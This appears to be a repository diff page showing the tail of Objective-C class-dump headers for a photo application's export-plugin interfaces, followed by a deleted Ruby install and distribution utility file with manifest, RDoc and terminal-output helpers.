- (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
|
||||
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
|
||||
- (int)thumbnailerQuality:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
|
||||
- (float)thumbnailerRotation:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
|
||||
- (unsigned int)thumbnailerOutputFormat:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
|
||||
- (id)thumbnailerOutputExtension:(void *)fp16;
|
||||
- (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
|
||||
- (struct _NSSize)lastImageSize:(void *)fp20;
|
||||
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
|
||||
@end
|
||||
|
||||
@protocol ExportPluginBoxProtocol
|
||||
- (BOOL)performKeyEquivalent:(id)fp16;
|
||||
@end
|
||||
|
||||
@protocol ExportPluginProtocol
|
||||
- (id)initWithExportImageObj:(id)fp16;
|
||||
- (id)settingsView;
|
||||
- (id)firstView;
|
||||
- (id)lastView;
|
||||
- (void)viewWillBeActivated;
|
||||
- (void)viewWillBeDeactivated;
|
||||
- (id)requiredFileType;
|
||||
- (BOOL)wantsDestinationPrompt;
|
||||
- (id)getDestinationPath;
|
||||
- (id)defaultFileName;
|
||||
- (id)defaultDirectory;
|
||||
- (BOOL)treatSingleSelectionDifferently;
|
||||
- (BOOL)validateUserCreatedPath:(id)fp16;
|
||||
- (void)clickExport;
|
||||
- (void)startExport:(id)fp16;
|
||||
- (void)performExport:(id)fp16;
|
||||
- (CDAnonymousStruct12 *)progress;
|
||||
- (void)lockProgress;
|
||||
- (void)unlockProgress;
|
||||
- (void)cancelExport;
|
||||
- (id)name;
|
||||
- (id)description;
|
||||
@end
|
||||
|
||||
@interface ExportController : NSObject
|
||||
{
|
||||
id mWindow;
|
||||
id mExportView;
|
||||
id mExportButton;
|
||||
id mImageCount;
|
||||
ExportMgr *mExportMgr;
|
||||
ExportMgrRec *mCurrentPluginRec;
|
||||
ProgressController *mProgressController;
|
||||
BOOL mCancelExport;
|
||||
NSTimer *mTimer;
|
||||
NSString *mDirectoryPath;
|
||||
}
|
||||
|
||||
- (void)awakeFromNib;
|
||||
- (void)dealloc;
|
||||
- (id)currentPlugin;
|
||||
- (id)currentPluginRec;
|
||||
- (void)setCurrentPluginRec:(id)fp12;
|
||||
- (id)directoryPath;
|
||||
- (void)setDirectoryPath:(id)fp12;
|
||||
- (void)show;
|
||||
- (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
|
||||
- (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
|
||||
- (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
|
||||
- (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
|
||||
- (BOOL)filesWillFitOnDisk;
|
||||
- (void)export:(id)fp12;
|
||||
- (void)_exportThread:(id)fp12;
|
||||
- (void)_exportProgress:(id)fp12;
|
||||
- (void)startExport:(id)fp12;
|
||||
- (void)finishExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancel:(id)fp12;
|
||||
- (void)enableControls;
|
||||
- (id)window;
|
||||
- (void)disableControls;
|
||||
- (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
|
||||
- (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
|
||||
- (void)selectExporter:(id)fp12;
|
||||
- (id)exportView;
|
||||
- (BOOL)_hasPlugins;
|
||||
- (void)_resizeExporterToFitView:(id)fp12;
|
||||
- (void)_updateImageCount;
|
||||
|
||||
@end
|
||||
|
||||
@interface ExportMgr : NSObject <ExportImageProtocol>
|
||||
{
|
||||
ArchiveDocument *mDocument;
|
||||
NSMutableArray *mExporters;
|
||||
Album *mExportAlbum;
|
||||
NSArray *mSelection;
|
||||
ExportController *mExportController;
|
||||
}
|
||||
|
||||
+ (id)exportMgr;
|
||||
+ (id)exportMgrNoAlloc;
|
||||
- (id)init;
|
||||
- (void)dealloc;
|
||||
- (void)releasePlugins;
|
||||
- (void)setExportController:(id)fp12;
|
||||
- (id)exportController;
|
||||
- (void)setDocument:(id)fp12;
|
||||
- (id)document;
|
||||
- (void)updateDocumentSelection;
|
||||
- (unsigned int)count;
|
||||
- (id)recAtIndex:(unsigned int)fp12;
|
||||
- (void)scanForExporters;
|
||||
- (unsigned int)imageCount;
|
||||
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
|
||||
- (id)imagePathAtIndex:(unsigned int)fp12;
|
||||
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
|
||||
- (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
|
||||
- (id)imageCaptionAtIndex:(unsigned int)fp12;
|
||||
- (id)thumbnailPathAtIndex:(unsigned int)fp12;
|
||||
- (id)imageDictionaryAtIndex:(unsigned int)fp12;
|
||||
- (float)imageAspectRatioAtIndex:(unsigned int)fp12;
|
||||
- (id)albumName;
|
||||
- (id)albumMusicPath;
|
||||
- (unsigned int)albumCount;
|
||||
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
|
||||
- (id)imageRecAtIndex:(unsigned int)fp12;
|
||||
- (id)currentAlbum;
|
||||
- (void)enableControls;
|
||||
- (void)disableControls;
|
||||
- (id)window;
|
||||
- (void)clickExport;
|
||||
- (void)startExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancelExportBeforeBeginning;
|
||||
- (id)directoryPath;
|
||||
- (void)_copySelection:(id)fp12;
|
||||
- (id)temporaryDirectory;
|
||||
- (BOOL)doesFileExist:(id)fp12;
|
||||
- (BOOL)doesDirectoryExist:(id)fp12;
|
||||
- (BOOL)createDir:(id)fp12;
|
||||
- (id)uniqueSubPath:(id)fp12 child:(id)fp16;
|
||||
- (id)makeUniquePath:(id)fp12;
|
||||
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
|
||||
- (id)makeUniqueFileNameWithTime:(id)fp12;
|
||||
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
|
||||
- (id)pathForFSSpec:(id)fp12;
|
||||
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
|
||||
- (id)pathForFSRef:(struct FSRef *)fp12;
|
||||
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
|
||||
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
|
||||
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
|
||||
- (BOOL)isAliasFileAtPath:(id)fp12;
|
||||
- (id)pathContentOfAliasAtPath:(id)fp12;
|
||||
- (id)stringByResolvingAliasesInPath:(id)fp12;
|
||||
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
|
||||
- (id)validFilename:(id)fp12;
|
||||
- (id)getExtensionForImageFormat:(unsigned int)fp12;
|
||||
- (unsigned int)getImageFormatForExtension:(id)fp12;
|
||||
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
|
||||
- (void *)createThumbnailer;
|
||||
- (void *)retainThumbnailer:(void *)fp12;
|
||||
- (void *)autoreleaseThumbnailer:(void *)fp12;
|
||||
- (void)releaseThumbnailer:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
|
||||
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
|
||||
- (int)thumbnailerQuality:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
|
||||
- (float)thumbnailerRotation:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
|
||||
- (unsigned int)thumbnailerOutputFormat:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
|
||||
- (id)thumbnailerOutputExtension:(void *)fp12;
|
||||
- (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
|
||||
- (struct _NSSize)lastImageSize:(void *)fp16;
|
||||
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
|
||||
|
||||
@end
|
||||
|
||||
@interface ExportMgrRec : NSObject
|
||||
{
|
||||
NSString *mPath;
|
||||
NSBundle *mBundle;
|
||||
id mPlugin;
|
||||
struct _NSSize mViewSize;
|
||||
}
|
||||
|
||||
- (void)dealloc;
|
||||
- (BOOL)isEqual:(id)fp12;
|
||||
- (id)description;
|
||||
- (id)initWithPath:(id)fp12;
|
||||
- (id)path;
|
||||
- (id)bundle;
|
||||
- (id)bundleInfo;
|
||||
- (BOOL)isValidExportPlugin;
|
||||
- (BOOL)loadPlugin;
|
||||
- (id)exportPlugin;
|
||||
- (void)unloadPlugin;
|
||||
- (id)view;
|
||||
- (struct _NSSize)viewSize;
|
||||
- (void)setPath:(id)fp12;
|
||||
- (void)setBundle:(id)fp12;
|
||||
|
||||
@end
|
||||
|
@ -1,553 +0,0 @@
|
||||
#
|
||||
# Install/distribution utility functions
|
||||
# $Id: utils.rb,v 1.5 2004/01/18 19:15:18 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2001-2004, The FaerieMUD Consortium.
|
||||
#
|
||||
# This is free software. You may use, modify, and/or redistribute this
|
||||
# software under the terms of the Perl Artistic License. (See
|
||||
# http://language.perl.com/misc/Artistic.html)
|
||||
#
|
||||
|
||||
|
||||
BEGIN {
|
||||
require 'find'
|
||||
|
||||
begin
|
||||
require 'readline'
|
||||
include Readline
|
||||
rescue LoadError => e
|
||||
$stderr.puts "Faking readline..."
|
||||
def readline( prompt )
|
||||
$stderr.print prompt.chomp
|
||||
return $stdin.gets.chomp
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
class File
|
||||
Win32Exts = %w{.exe .com .bat}
|
||||
|
||||
def self::which( prog, path=ENV['PATH'] )
|
||||
path.split(File::PATH_SEPARATOR).each {|dir|
|
||||
# If running under Windows, look for prog + extensions
|
||||
if File::ALT_SEPARATOR
|
||||
ext = Win32Exts.find_all {|ext|
|
||||
f = File::join(dir, prog+ext)
|
||||
File::executable?(f) && !File::directory?(f)
|
||||
}
|
||||
ext.each {|f|
|
||||
f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
|
||||
if block_given? then yield( f ) else return f end
|
||||
}
|
||||
else
|
||||
f = File::join( dir, prog )
|
||||
if File::executable?( f ) && ! File::directory?( f )
|
||||
if block_given? then yield(f) else return f end
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
module UtilityFunctions
|
||||
|
||||
# The list of regexen that eliminate files from the MANIFEST
|
||||
ANTIMANIFEST = [
|
||||
/makedist\.rb/,
|
||||
/\bCVS\b/,
|
||||
/~$/,
|
||||
/^#/,
|
||||
%r{docs/html},
|
||||
%r{docs/man},
|
||||
/\bTEMPLATE\.\w+\.tpl\b/,
|
||||
/\.cvsignore/,
|
||||
/\.s?o$/,
|
||||
]
|
||||
AMRegexp = Regexp::union( *ANTIMANIFEST )
|
||||
|
||||
# Set some ANSI escape code constants (Shamelessly stolen from Perl's
|
||||
# Term::ANSIColor by Russ Allbery <rra@stanford.edu> and Zenin <zenin@best.com>
|
||||
AnsiAttributes = {
|
||||
'clear' => 0,
|
||||
'reset' => 0,
|
||||
'bold' => 1,
|
||||
'dark' => 2,
|
||||
'underline' => 4,
|
||||
'underscore' => 4,
|
||||
'blink' => 5,
|
||||
'reverse' => 7,
|
||||
'concealed' => 8,
|
||||
|
||||
'black' => 30, 'on_black' => 40,
|
||||
'red' => 31, 'on_red' => 41,
|
||||
'green' => 32, 'on_green' => 42,
|
||||
'yellow' => 33, 'on_yellow' => 43,
|
||||
'blue' => 34, 'on_blue' => 44,
|
||||
'magenta' => 35, 'on_magenta' => 45,
|
||||
'cyan' => 36, 'on_cyan' => 46,
|
||||
'white' => 37, 'on_white' => 47
|
||||
}
|
||||
|
||||
ErasePreviousLine = "\033[A\033[K"
|
||||
|
||||
|
||||
###############
|
||||
module_function
|
||||
###############
|
||||
|
||||
# Create a string that contains the ANSI codes specified and return it
|
||||
def ansiCode( *attributes )
|
||||
return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
|
||||
attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
|
||||
if attr.empty?
|
||||
return ''
|
||||
else
|
||||
return "\e[%sm" % attr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Test for the presence of the specified <tt>library</tt>, and output a
|
||||
# message describing the test using <tt>nicename</tt>. If <tt>nicename</tt>
|
||||
# is <tt>nil</tt>, the value in <tt>library</tt> is used to build a default.
|
||||
def testForLibrary( library, nicename=nil )
|
||||
nicename ||= library
|
||||
message( "Testing for the #{nicename} library..." )
|
||||
found = false
|
||||
|
||||
begin
|
||||
require library
|
||||
rescue LoadError => err
|
||||
message "no found (%s)\n" % err.message
|
||||
else
|
||||
message "found\n"
|
||||
found = true
|
||||
end
|
||||
|
||||
return found
|
||||
end
|
||||
|
||||
|
||||
# Test for the presence of the specified <tt>library</tt>, and output a
|
||||
# message describing the problem using <tt>nicename</tt>. If
|
||||
# <tt>nicename</tt> is <tt>nil</tt>, the value in <tt>library</tt> is used
|
||||
# to build a default. If <tt>raaUrl</tt> and/or <tt>downloadUrl</tt> are
|
||||
# specified, they are also use to build a message describing how to find the
|
||||
# required library. If <tt>fatal</tt> is <tt>true</tt>, a missing library
|
||||
# will cause the program to abort.
|
||||
def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
|
||||
nicename ||= library
|
||||
unless testForLibrary( library, nicename )
|
||||
msgs = [ "You are missing the required #{nicename} library.\n" ]
|
||||
msgs << "RAA: #{raaUrl}\n" if raaUrl
|
||||
msgs << "Download: #{downloadUrl}\n" if downloadUrl
|
||||
if fatal
|
||||
abort msgs.join('')
|
||||
else
|
||||
errorMessage msgs.join('')
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
### Output <tt>msg</tt> as a ANSI-colored program/section header (white on
|
||||
### blue).
|
||||
def header( msg )
|
||||
msg.chomp!
|
||||
$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
### Output <tt>msg</tt> to STDERR and flush it.
|
||||
def message( msg )
|
||||
$stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
### Output the specified <tt>msg</tt> as an ANSI-colored error message
|
||||
### (white on red).
|
||||
def errorMessage( msg )
|
||||
message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
|
||||
end
|
||||
|
||||
### Output the specified <tt>msg</tt> as an ANSI-colored debugging message
|
||||
### (yellow on blue).
|
||||
def debugMsg( msg )
|
||||
return unless $DEBUG
|
||||
msg.chomp!
|
||||
$stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
### Erase the previous line (if supported by your terminal) and output the
|
||||
### specified <tt>msg</tt> instead.
|
||||
def replaceMessage( msg )
|
||||
print ErasePreviousLine
|
||||
message( msg )
|
||||
end
|
||||
|
||||
### Output a divider made up of <tt>length</tt> hyphen characters.
|
||||
def divider( length=75 )
|
||||
puts "\r" + ("-" * length )
|
||||
end
|
||||
alias :writeLine :divider
|
||||
|
||||
### Output the specified <tt>msg</tt> colored in ANSI red and exit with a
|
||||
### status of 1.
|
||||
def abort( msg )
|
||||
print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
|
||||
Kernel.exit!( 1 )
|
||||
end
|
||||
|
||||
### Output the specified <tt>promptString</tt> as a prompt (in green) and
|
||||
### return the user's input with leading and trailing spaces removed.
|
||||
def prompt( promptString )
|
||||
promptString.chomp!
|
||||
return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
|
||||
end
|
||||
|
||||
### Prompt the user with the given <tt>promptString</tt> via #prompt,
|
||||
### substituting the given <tt>default</tt> if the user doesn't input
|
||||
### anything.
|
||||
def promptWithDefault( promptString, default )
|
||||
response = prompt( "%s [%s]" % [ promptString, default ] )
|
||||
if response.empty?
|
||||
return default
|
||||
else
|
||||
return response
|
||||
end
|
||||
end
|
||||
|
||||
### Search for the program specified by the given <tt>progname</tt> in the
|
||||
### user's <tt>PATH</tt>, and return the full path to it, or <tt>nil</tt> if
|
||||
### no such program is in the path.
|
||||
def findProgram( progname )
|
||||
ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
|
||||
file = File.join( d, progname )
|
||||
return file if File.executable?( file )
|
||||
}
|
||||
return nil
|
||||
end
|
||||
|
||||
### Using the CVS log for the given <tt>file</tt> attempt to guess what the
|
||||
### next release version might be. This only works if releases are tagged
|
||||
### with tags like 'RELEASE_x_y'.
|
||||
def extractNextVersionFromTags( file )
|
||||
message "Attempting to extract next release version from CVS tags for #{file}...\n"
|
||||
raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
|
||||
cvsPath = findProgram( 'cvs' ) or
|
||||
raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
|
||||
|
||||
output = %x{#{cvsPath} log #{file}}
|
||||
release = [ 0, 0 ]
|
||||
output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
|
||||
if $1.to_i > release[0] || $2.to_i > release[1]
|
||||
release = [ $1.to_i, $2.to_i ]
|
||||
replaceMessage( "Found %d.%02d...\n" % release )
|
||||
end
|
||||
}
|
||||
|
||||
if release[1] >= 99
|
||||
release[0] += 1
|
||||
release[1] = 1
|
||||
else
|
||||
release[1] += 1
|
||||
end
|
||||
|
||||
return "%d.%02d" % release
|
||||
end
|
||||
|
||||
|
||||
### Write a new manifest file with the given +named+, moving any current one
|
||||
### aside with an ".old" suffix if +backup+ is true.
|
||||
def makeManifest( name="MANIFEST", backup=true )
|
||||
message "Making manifest file '#{name}'"
|
||||
|
||||
# Move an old one aside if a backup is desired
|
||||
if backup and File::exists?( name )
|
||||
File::rename( name, name + ".old" )
|
||||
end
|
||||
|
||||
File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
|
||||
Find::find( "." ) do |file|
|
||||
Find.prune if AMRegexp =~ file
|
||||
Find.prune if %r{/\.} =~ file
|
||||
Find.prune if /TEMPLATE/ =~ file
|
||||
next if File::directory?( file )
|
||||
|
||||
ofh.puts file
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Read the specified <tt>manifestFile</tt>, which is a text file
|
||||
### describing which files to package up for a distribution. The manifest
|
||||
### should consist of one or more lines, each containing one filename or
|
||||
### shell glob pattern.
|
||||
def readManifest( manifestFile="MANIFEST" )
|
||||
message "Reading manifest..."
|
||||
raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
|
||||
|
||||
manifest = IO::readlines( manifestFile ).collect {|line|
|
||||
line.chomp
|
||||
}.select {|line|
|
||||
line !~ /^(\s*(#.*)?)?$/
|
||||
}
|
||||
|
||||
filelist = []
|
||||
for pat in manifest
|
||||
$stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
|
||||
filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
|
||||
end
|
||||
|
||||
message "found #{filelist.length} files.\n"
|
||||
return filelist
|
||||
end
|
||||
|
||||
|
||||
### Given a <tt>filelist</tt> like that returned by #readManifest, remove
|
||||
### the entries therein which match the Regexp objects in the given
|
||||
### <tt>antimanifest</tt> and return the resultant Array.
|
||||
def vetManifest( filelist, antimanifest=ANITMANIFEST )
|
||||
origLength = filelist.length
|
||||
message "Vetting manifest..."
|
||||
|
||||
for regex in antimanifest
|
||||
if $VERBOSE
|
||||
message "\n\tPattern /#{regex.source}/ removed: " +
|
||||
filelist.find_all {|file| regex.match(file)}.join(', ')
|
||||
end
|
||||
filelist.delete_if {|file| regex.match(file)}
|
||||
end
|
||||
|
||||
message "removed #{origLength - filelist.length} files from the list.\n"
|
||||
return filelist
|
||||
end
|
||||
|
||||
### Combine a call to #readManifest with one to #vetManifest.
|
||||
def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
|
||||
vetManifest( readManifest(manifestFile), antimanifest )
|
||||
end
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract the title, if
|
||||
### available, and return it. Otherwise generate a title from the name of
|
||||
### the CVS module.
|
||||
def findRdocTitle( catalogFile="docs/CATALOG" )
|
||||
|
||||
# Try extracting it from the CATALOG file from a line that looks like:
|
||||
# Title: Foo Bar Module
|
||||
title = findCatalogKeyword( 'title', catalogFile )
|
||||
|
||||
# If that doesn't work for some reason, try grabbing the name of the CVS
|
||||
# repository the directory belongs to.
|
||||
if title.nil? && File::directory?( "CVS" ) &&
|
||||
File::exists?( "CVS/Repository" )
|
||||
title = File::read( "CVS/Repository" ).chomp
|
||||
end
|
||||
|
||||
# As a last resort, use the name of the project directory
|
||||
if title.nil?
|
||||
distdir = File::dirname( __FILE__ )
|
||||
distdir = File::dirname( distdir ) if /docs$/ =~ distdir
|
||||
title = File::basename( distdir )
|
||||
end
|
||||
|
||||
return title
|
||||
end
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract the name of the file
|
||||
### to use as the initally displayed page. If extraction fails, the
|
||||
### +default+ will be used if it exists. Returns +nil+ if there is no main
|
||||
### file to be found.
|
||||
def findRdocMain( catalogFile="docs/CATALOG", default="README" )
|
||||
|
||||
# Try extracting it from the CATALOG file from a line that looks like:
|
||||
# Main: Foo Bar Module
|
||||
main = findCatalogKeyword( 'main', catalogFile )
|
||||
|
||||
# Try to make some educated guesses if that doesn't work
|
||||
if main.nil?
|
||||
basedir = File::dirname( __FILE__ )
|
||||
basedir = File::dirname( basedir ) if /docs$/ =~ basedir
|
||||
|
||||
if File::exists?( File::join(basedir, default) )
|
||||
main = default
|
||||
end
|
||||
end
|
||||
|
||||
return main
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract an upload URL for
|
||||
### RDoc.
|
||||
def findRdocUpload( catalogFile="docs/CATALOG" )
|
||||
findCatalogKeyword( 'upload', catalogFile )
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract a CVS web frontend
|
||||
### URL for RDoc.
|
||||
def findRdocCvsURL( catalogFile="docs/CATALOG" )
|
||||
findCatalogKeyword( 'webcvs', catalogFile )
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, try extracting the given
|
||||
### +keyword+'s value from it. Keywords are lines that look like:
|
||||
### # <keyword>: <value>
|
||||
### Returns +nil+ if the catalog file was unreadable or didn't contain the
|
||||
### specified +keyword+.
|
||||
def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
|
||||
val = nil
|
||||
|
||||
if File::exists? catalogFile
|
||||
message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
|
||||
File::foreach( catalogFile ) {|line|
|
||||
debugMsg( "Examining line #{line.inspect}..." )
|
||||
val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
|
||||
}
|
||||
end
|
||||
|
||||
return val
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, which is in the same format
|
||||
### as that described by #readManifest, read and expand it, and then return
|
||||
### a list of those files which appear to have RDoc documentation in
|
||||
### them. If <tt>catalogFile</tt> is nil or does not exist, the MANIFEST
|
||||
### file is used instead.
|
||||
def findRdocableFiles( catalogFile="docs/CATALOG" )
|
||||
startlist = []
|
||||
if File.exists? catalogFile
|
||||
message "Using CATALOG file (%s).\n" % catalogFile
|
||||
startlist = getVettedManifest( catalogFile )
|
||||
else
|
||||
message "Using default MANIFEST\n"
|
||||
startlist = getVettedManifest()
|
||||
end
|
||||
|
||||
message "Looking for RDoc comments in:\n" if $VERBOSE
|
||||
startlist.select {|fn|
|
||||
message " #{fn}: " if $VERBOSE
|
||||
found = false
|
||||
File::open( fn, "r" ) {|fh|
|
||||
fh.each {|line|
|
||||
if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
|
||||
found = true
|
||||
break
|
||||
end
|
||||
}
|
||||
}
|
||||
|
||||
message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
|
||||
found
|
||||
}
|
||||
end
|
||||
|
||||
### Open a file and filter each of its lines through the given block a
|
||||
### <tt>line</tt> at a time. The return value of the block is used as the
|
||||
### new line, or omitted if the block returns <tt>nil</tt> or
|
||||
### <tt>false</tt>.
|
||||
def editInPlace( file ) # :yields: line
|
||||
raise "No block specified for editing operation" unless block_given?
|
||||
|
||||
tempName = "#{file}.#{$$}"
|
||||
File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
|
||||
File::unlink( tempName )
|
||||
File::open( file, File::RDONLY ) {|fh|
|
||||
fh.each {|line|
|
||||
newline = yield( line ) or next
|
||||
tempfile.print( newline )
|
||||
}
|
||||
}
|
||||
|
||||
tempfile.seek(0)
|
||||
|
||||
File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
|
||||
newfile.print( tempfile.read )
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
### Execute the specified shell <tt>command</tt>, read the results, and
|
||||
### return them. Like a %x{} that returns an Array instead of a String.
|
||||
def shellCommand( *command )
|
||||
raise "Empty command" if command.empty?
|
||||
|
||||
cmdpipe = IO::popen( command.join(' '), 'r' )
|
||||
return cmdpipe.readlines
|
||||
end
|
||||
|
||||
### Execute a block with $VERBOSE set to +false+, restoring it to its
|
||||
### previous value before returning.
|
||||
def verboseOff
|
||||
raise LocalJumpError, "No block given" unless block_given?
|
||||
|
||||
thrcrit = Thread.critical
|
||||
oldverbose = $VERBOSE
|
||||
begin
|
||||
Thread.critical = true
|
||||
$VERBOSE = false
|
||||
yield
|
||||
ensure
|
||||
$VERBOSE = oldverbose
|
||||
Thread.critical = false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
### Try the specified code block, printing the given
|
||||
def try( msg, bind=nil )
|
||||
result = nil
|
||||
if msg =~ /^to\s/
|
||||
message = "Trying #{msg}..."
|
||||
else
|
||||
message = msg
|
||||
end
|
||||
|
||||
begin
|
||||
rval = nil
|
||||
if block_given?
|
||||
rval = yield
|
||||
else
|
||||
file, line = caller(1)[0].split(/:/,2)
|
||||
rval = eval( msg, bind, file, line.to_i )
|
||||
end
|
||||
|
||||
result = rval.inspect
|
||||
rescue Exception => err
|
||||
if err.backtrace
|
||||
nicetrace = err.backtrace.delete_if {|frame|
|
||||
/in `(try|eval)'/ =~ frame
|
||||
}.join("\n\t")
|
||||
else
|
||||
nicetrace = "Exception had no backtrace"
|
||||
end
|
||||
|
||||
result = err.message + "\n\t" + nicetrace
|
||||
ensure
|
||||
puts result
|
||||
end
|
||||
end
|
||||
|
||||
def time
|
||||
start = Time::now
|
||||
stimes = Process::times
|
||||
rval = yield
|
||||
etimes = Process::times
|
||||
$stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
|
||||
etimes.utime - stimes.utime,
|
||||
etimes.stime - stimes.stime,
|
||||
Time::now.to_f - start.to_f,
|
||||
]
|
||||
|
||||
return rval
|
||||
end
|
||||
|
||||
end
|
Reference in new issue